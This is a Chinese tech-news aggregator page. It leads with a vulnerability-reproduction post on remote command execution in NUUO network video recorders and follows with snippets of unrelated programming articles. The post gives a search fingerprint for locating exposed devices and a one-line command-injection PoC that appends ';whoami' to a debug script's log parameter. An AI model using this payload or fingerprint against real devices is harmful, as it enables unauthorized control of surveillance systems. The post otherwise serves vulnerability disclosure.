当前位置： 首页 > news >正文

【漏洞复现】某 NVR 视频存储管理设备远程命令执行

news 文章来源：https://blog.csdn.net/u010025272/article/details/133700010 2025/1/4 14:42:35

漏洞描述

NUUO NVR是中国台湾NUUO公司旗下的一款网络视频记录器，该设备存在远程命令执行漏洞，攻击者可利用该漏洞执行任意命令，进而获取服务器的权限。
在这里插入图片描述

免责声明

技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！

资产确定

title="Network Video Recorder Login"

漏洞复现

1.利用GET请求如下POC执行whoami命令得到回显

http://{{Hostname}}/__debugging_center_utils___.php?log=;whoami

在这里插入图片描述

修复方案

相关文章：

【漏洞复现】某 NVR 视频存储管理设备远程命令执行

漏洞描述 NUUO NVR是中国台湾NUUO公司旗下的一款网络视频记录器，该设备存在远程命令执行漏洞，攻击者可利用该漏洞执行任意命令，进而获取服务器的权限。 免责声明 技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律&am…...

编程日记 2023/10/9 15:20:02

若依前端-应用路径发布和使用

官网的路径：前端手册 | RuoYi 应用路径 有些特殊情况需要部署到子路径下，例如：https://www.ruoyi.vip/admin，可以按照下面流程修改。 1、修改vue.config.js中的publicPath属性 publicPath: process.env.NODE_ENV "produ…...

编程日记 2023/10/9 15:19:01

Mojo 正式发布，Rust 能否与之匹敌？

9 月 7 日，Modular 公司宣布正式发布 Mojo：Mojo 现在已经开放本地下载——初步登陆 Linux 系统，并将很快提供 Mac 与 Windows 版本。据介绍，Mojo 最初的目标是比 Python 快 35000 倍，近日该团队表示，Mojo 将…...

编程日记 2023/10/9 15:17:59

opencv实现抠图，图像拼接，图像融合

在OpenCV中，你可以使用图像拼接、抠图和将图像的一部分放在另一张图片的指定位置。以下是示例代码，演示如何执行这些操作： 图像拼接 要将两张图像拼接在一起，你可以使用 cv::hconcat（水平拼接）和 cv::vco…...

编程日记 2023/10/9 15:16:58

照片处理软件Lightroom Classic mac中文版功能介绍（Lrc2021）

Lightroom Classic 2022 mac是一款桌面编辑工具，lrc2021 mac包括提亮颜色、使灰暗的摄影更加生动、删除瑕疵、将弯曲的画面拉直等。您可以在电脑桌面上轻松整理所有照片。使用Lightroom Classic， 轻松整理编辑照片，为您的作品锦上添花。 Ligh…...

编程日记 2023/10/9 15:15:57

asp.net高校留学生信息管理系统VS开发sqlserver数据库web结构c#编程Microsoft Visual Studio

一、源码特点 asp.net 高校留学生信息管理系统 是一套完善的web设计管理系统，系统具有完整的源代码和数据库，系统主要采用B/S模式开发。开发环境为vs2010，数据库为sqlserver2008，使 用c#语言开发 asp.net留学生信息管理系…...

编程日记 2023/10/9 15:14:56

C# - Opencv应用（1） 之VS下环境配置详解

C# - Opencv应用（1） 之VS下环境配置详解 有时候，单纯c#做前端时会联合C实现的dll来落地某些功能由于有时候会用C - Opencv实现算法后封装成dll，但是有时候会感觉麻烦，不如直接通过C#直接调用Opencv在此慢慢总结下C# -…...

编程日记 2023/10/9 15:13:55

rsync 远程同步实现快速、安全、高效的异地备份

目录 1 rsync 远程同步 1.1 rsync是什么？ 1.2 rsync同步方式 1.3 rsync的特性 1.4 rsync的应用场景 1.5 rsync与cp、scp对比 1.6 rsync同步源 2 配置rsync源服务器 2.1 建立/etc/rsyncd.conf 配置文件 3 发起端 4 发起端配置 rsyncinotify 4.1 修改rsync…...

编程日记 2023/10/9 15:12:54

医学访问学者面试技巧

医学访问学者面试是一个非常重要的环节，它决定了你是否能够获得这个宝贵的机会去国外的大学或研究机构学习和研究。在这篇文章中，知识人网小编将分享一些关于医学访问学者面试的技巧，帮助你在面试中表现出色。 1. 准备充分 在参加医学访问学…...

编程日记 2023/10/9 15:10:51

【19】c++设计模式——＞桥接模式

桥接模式的定义 C的桥接模式（Bridge Pattern）是一种结构型设计模式，它将抽象部分与实现部分分离，使得它们可以独立地变化。桥接模式的核心思想是利用组合关系代替继承关系，将系统划分成多个独立的、功能不同的类层次结…...

编程日记 2023/10/9 15:09:50

网络安全：六种常见的网络攻击手段

1、什么是VPN服务？ 虚拟专用网络（或VPN）是您的设备与另一台计算机之间通过互联网的安全连接。VPN服务可用于在离开办公室时安全地访问工作计算机系统。但它们也常用于规避政府审查制度，或者在电影流媒体网站上阻止位置封锁&#…...

编程日记 2023/10/9 15:08:48

使用HbuilderX运行uniapp中小程序项目

下载HbuilderX，下载链接： HBuilderX-高效极客技巧 导入相关项目。下载微信开发者工具。使用微信开发者工具打开：注意：如果是第一次使用，需要先配置小程序ide的相关路径，才能运行成功。如下图，需…...

编程日记 2023/10/9 15:07:47

基于PHP的水果商城网站，mysql数据库，前台+后台，原生PHP，PHP study（小皮），完美运行，有一万字报告。

目录 演示视频 基本介绍 论文目录 购买流程 系统截图 演示视频 基本介绍 基于PHP的水果商城网站，mysql数据库，前台后台，原生PHP，PHP study（小皮），完美运行，有一万字报告。 前…...

编程日记 2023/10/9 15:06:45

【uniapp】自定义导航栏时，设置安全距离,适配不同机型

1、在pages.json中，给对应的页面设置自定义导航栏样式 {"path": "pages/index/index","style": {"navigationStyle": "custom","navigationBarTextStyle": "white","navigationBarTitl…...

编程日记 2023/10/9 15:05:45

JAVA经典百题之数组逆序输出

题目:将一个数组逆序输出。 程序分析 要将一个数组逆序输出，即将数组中的元素顺序颠倒过来，可以使用多种方法。基本思路是创建一个新数组或修改原数组，将元素的顺序颠倒。 方法1: 创建新数组实现 思路 创建一个新的数组，长度…...

编程日记 2023/10/9 15:04:43

vue run dev 配置nginx

由于项目有多个vue项目,在开发过程中需要联调,而不是每次发布后再联调. 比如有2个项目: main-project(主项目),test1-project. 由于是多项目,每个项目相当于有一个独立的域,这里test1-project设置域名称为test1 vue修改 在vite.config.ts中配置一个base:"/test1/"…...

编程日记 2023/10/9 15:03:42

Python实现RNN算法对MFCC特征的简单语音识别

Python实现RNN算法对MFCC特征的简单语音识别 1、实现步骤 借助深度学习库 TensorFlow/Keras 来构建模型 1.对标签进行编码，将文本标签转换为整数标签。 2.对 MFCC 特征数据进行填充或截断，使其长度一致，以便于输入到 RNN 模型中 3.如果是二维数据需要转成三维： Simpl…...

编程日记 2023/10/9 15:02:40

借助PLC-Recorder，汇川中型PLC（AM、AC系列，CODESYS平台）2ms高速采集的方法

高速数据采集要保证速度，也要保证时刻的准确性。在windows系统里，时间稳定性是个很难的问题。如果PLC发送的数据里带有时间信息，则可以由PLC来保证采样周期的稳定性。 从V2.12版本开始，PLC-Recorder软件可以处理发送电文里的时间…...

编程日记 2023/10/9 15:01:39

vscode package.json文件开头的{总是提升警告

警告如下 Problems loading reference https://json.schemastore.org/stylelintrc.json: Unable to load schema from https://json.schemastore.org/stylelintrc.json: read ECONNRESET. 解决如下 在设置（settings.json）里 新增一条属性 "ht…...

编程日记 2023/10/9 15:00:38

$attrs 和 $listeners (vue2vue3)

目录 透传 Attributes Attributes 继承​ 对 class 和 style 的合并 v-on 监听器继承 深层组件继承 禁用 Attributes 继承 多根节点的 Attributes 继承 vue2 $attrs 和 $listeners $attrs 概念说明 $attrs 案例 $listeners 概念说明 $listeners案例 vue3 $attr…...

编程日记 2023/10/9 14:59:37

嵌入式系统中的加密性能：第2部分

本系列的第1部分讨论了影响系统级密码性能的硬件和软件变量。现在，在第2部分中，我们将重点介绍两种用于测量高级后备加速器性能的方法：1）驱动器级加速器测试以识别加速器或SoC内存带宽约束，以及2）应用程序/…...

编程日记 2023/10/9 14:57:35

STM32F103 最小系统 PCB 设计与原理

这篇文章是来自我学习： ​​​​​​带着你从手册开始画板 STM最小系统板教程系列(一)_哔哩哔哩_bilibili​​​​​​ 这套教程的笔记，同时本文中也参考了其他教程以及我遇到的困惑与自答，最终汇总。 一、单片机最小系统 单片机最小系统是由…...

编程日记 2023/10/9 14:56:34

JVM篇---第十一篇

系列文章目录 文章目录 系列文章目录一、如何选择垃圾收集器？二、什么是类加载器？三、什么是 tomcat 类加载机制？一、如何选择垃圾收集器？ 如果你的堆大小不是很大（比如 100MB ），选择串行收集器一般是效率最高的。 参数： -XX:+UseSerialGC 。如果你的应用运行在单核的机…...

编程日记 2023/10/9 14:55:33

MongoDB——window11安装mongodb5.0.21版本服务端（图解版）

目录 一、mongodb官网下载地址二、安装步骤三、配置环境变量四、运行mongodb 一、mongodb官网下载地址 mongodb官网下载地址：https://www.mongodb.com/try/download/community 二、安装步骤 双击运行下载好的mongodb-windows-x86_64-5.0.21-signed.msi安装包&am…...

编程日记 2023/10/9 14:54:32

第1次 更多的bash shell命令

1.检测程序 程序都是进程在运行，进程里面有很多线程，面试经常会问进程和线程的区别，线程可以访问另一个线程的什么什么的，这些我都听腻了，区别就是进程会分配程序需要的空间，创建线程需要的资源&#xff0c…...

编程日记 2023/10/9 14:52:28

工业路由器项目应用(4g+5g两种工业路由器项目介绍)

引言： 随着工业智能化的不断发展，工业路由器在各个领域的应用越来越广泛。本文将介绍两个工业路由器项目的应用案例，一个是使用SR500 4g工业路由器，另一个是使用SR800 5g工业路由器。 详情：https://www.key-iot.com/i…...

编程日记 2023/10/9 14:51:26

国产开源无头CMS，MyCms v4.7 快捷生成接口开发后台

MyCms 是一款基于 Laravel 开发的开源免费的开源多语言商城 CMS 企业建站系统。 MyCms 基于 Apache2.0 开源协议发布，免费且可商业使用，欢迎持续关注我们。技术交流 QQ 群：887522124 加群请备注来源：如gitee、github、官网等 v4…...

编程日记 2023/10/9 14:50:25

C++(反向迭代器)

前言： 上一章我们介绍了适配器，也提了一下迭代器适配器，今天我们就从反向迭代器把迭代器适配器给解释一下。 既然 都叫迭代器容器了 就说名只要接口合适他可以封装实现各种容器需求包括vector list 。 目录 1.反向迭代器设计 1.1反向迭代…...

编程日记 2023/10/9 14:49:25

DataX和dataX-web 集群部署及使用

📑 DataX和dataX-web 集群部署及使用 一 . 安装前准备 DataX 是一个异构数据源离线同步工具，致力于实现包括关系型数据库(MySQL、Oracle等)、HDFS、Hive、ODPS、HBase、FTP等各种异构数据源之间稳定高效的数据同步功能。 DataX 采用 框架 插件 的模式…...

编程日记 2023/10/9 14:48:24

常见的数据存储方案：选择合适的方式来管理您的数据

对于数据存储方案的选择，是现代企业和个人都需要面对的重要决策。本文将为您介绍几种常见的数据存储方案，包括关系型数据库、NoSQL数据库以及分布式文件系统。通过了解每种方案的特点、操作方式和适用业务类型，希望能帮助您选择合适的数据存储…...

编程日记 2023/10/9 14:47:23

建设部网站1667号下载/网络营销推广外包平台

京东2021校招，投了两个岗位，一个是物流方向管培生，一个是物流规划，管培生当时未参加一面(形式群面)，后来面了物流规划这个。1、初试(通过)一面为一对一专业面试，形式为线上视频面试，问了一些实习…...

编程日记 2025/1/4 13:24:10

展示中心展厅设计/windows优化大师下载安装

$("#id").is(:checked)转载于:https://www.cnblogs.com/Andy-Li/p/5180088.html...

编程日记 2025/1/4 12:27:19

自己做网站服务器/网络广告的形式有哪些

图解TCP的3次握手建立连接，4次握手释放连接 建立连接TCP是面向连接的协议。运输连接是用来传送TCP报文的。TCP传输连接的建立和释放是每一次面向连接的通信中必不可少的过程。因此，传输连接就有三个阶段，即：连接建立、数据传送和连…...

编程日记 2025/1/4 9:52:00

做原材料供应的网站有哪些/seo建站的步骤

现代社会，几乎已经人手一部手机了，有的人甚至同时使用多部，不过随着手机功能越来越多、使用的频率越来越高，手机的续航能力成为了困扰用户的一个问题，电量越来越供给不上，如果是玩游戏的话耗电速度更快&…...

编程日记 2025/1/4 9:42:56

福建建设厅网站首页/整合网络营销公司

Thymeleaf的介绍 进行JavaWeb开发时主要用到的是JSP，传统的JSP需要在页面中加入大量的JSTL标签，这些标签只能运行在服务器中，前端开发人员维护这些页面比较困难，页面加载速度也比较慢。 Thymeleaf是一种全新的页面模板引擎&#x…...

编程日记 2025/1/4 7:10:34

珠海营销网站建设/自己做网站流程

Ruby‘s Adventure: 2D Beginner 创建角色 Main Character and First Script 1.新建场景 点文件-新建场景 2.将下面的这个图片拖到Art > Sprites中 并注意下图片的类型为Sprite(2D and UI) 3.通过精灵建立游戏对象 在Ruby图像右边有个小箭头，点下打开会出现一…...

编程日记 2025/1/4 4:29:24